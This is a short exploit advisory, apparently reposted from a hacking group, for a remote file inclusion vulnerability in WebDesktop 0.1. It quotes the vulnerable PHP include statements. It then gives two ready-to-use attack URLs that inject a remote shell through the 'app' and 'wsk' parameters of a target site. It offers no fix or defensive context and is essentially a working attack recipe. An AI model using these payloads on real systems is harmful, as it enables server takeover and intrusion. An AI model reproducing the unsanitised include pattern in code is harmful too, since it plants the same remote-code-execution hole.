WebDesktop 0.1 Remote File Inclusion

[Ras]

 
                   \    \\\|/// 
                    \\  - -  //      Xmors Underground Group 
                     (  @ @ ) 
              ----oOOo--(_)-oOOo-------------------------------------------------- 
              Portal   :  WebDesktop 0.1 
         Download : [url]http://downloads.sourceforge.net/pns-webdesktop/web[/url]
         Author   :  S.W.A.T. 
         HomePage : [url]www.XmorS.CoM[/url] 
         Type     :  Remote File Inclusion 
              Y! ID    :  Svvateam 
              E-Mail   :  [email]Svvateam@yahoo.com[/email] / [email]S.W.4.T@hackermail.com[/email] 
              Dork     :   
              ----ooooO-----Ooooo-------------------------------------------------- 
                  (   )     (   ) 
                   \ (       ) / 
                    \_)     (_/ 



+----------------------------------------------------------------------------------- 
----------+ 

Vuln Code : 

include($wsk . ".wsk/" . $wsk . ".php"); 

&&&&&&&& 

include($app . ".app/" . $frm . ".frm/" . $frm . ".php"); 

+----------------------------------------------------------------------------------- 
----------+ 
+----------------------------------------------------------------------------------- 
----------+ 

Exploit : 

[url]http://[TARGET]/[/url][PATH]/apps/apps.php?app=[-Sh3ll-] 
[url]http://[TARGET]/[/url][PATH]/wsk/wsk.php?wsk=[-Sh3ll-]